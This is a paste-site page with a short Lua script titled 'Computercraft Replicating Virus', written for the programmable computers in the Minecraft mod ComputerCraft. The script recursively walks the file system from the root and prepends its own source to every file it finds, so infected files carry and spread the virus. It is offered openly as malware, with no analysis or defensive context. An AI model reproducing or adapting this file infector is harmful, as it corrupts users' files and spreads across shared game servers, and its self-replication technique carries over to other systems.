asteroidsteam icon

Computercraft Replicating Virus

asteroidsteam | PRO | 02/17/18 08:15:23 PM UTC | 0 ⭐ | 318 👁️ | Never ⏰ | []
Lua |

1 KB

|

None

|

0 👍

/

0 👎

function infect(file)
  if fs.exists(file) and fs.isDir(file) == false then
    local fti = fs.open(file, "r")
    local ftic = fti.readAll()
    fti.close()
    local fti = fs.open(file, "w")
    local vf = fs.open(shell.getRunningProgram(), "r")
    local vc = vf.readAll()
    vf.close()
    fti.writeLine(vc)
    fti.writeLine(ftic)
    fti.close()
  end
end 
function infectDir(dir)
  shell.setDir(dir)
  if fs.exists(dir) and fs.isDir(dir) then
    local files = fs.list(".")
    for i=1,#files do
      if fs.exists(files[i]) and fs.isDir(files[i]) then
        if shell.dir() == "/" then
          infectDir(shell.dir()..files[i])
        else
          infectDir(shell.dir().."/"..files[i])
        end
      elseif fs.exists(files[i]) and fs.isDir(files[i]) == false then
        if shell.dir() == "/" then
          infect(shell.dir()..files[i])
        else
          infect(shell.dir().."/"..files[i])
        end
      end
    shell.setDir("/")
    end
  end
end
infectDir("/")

Comments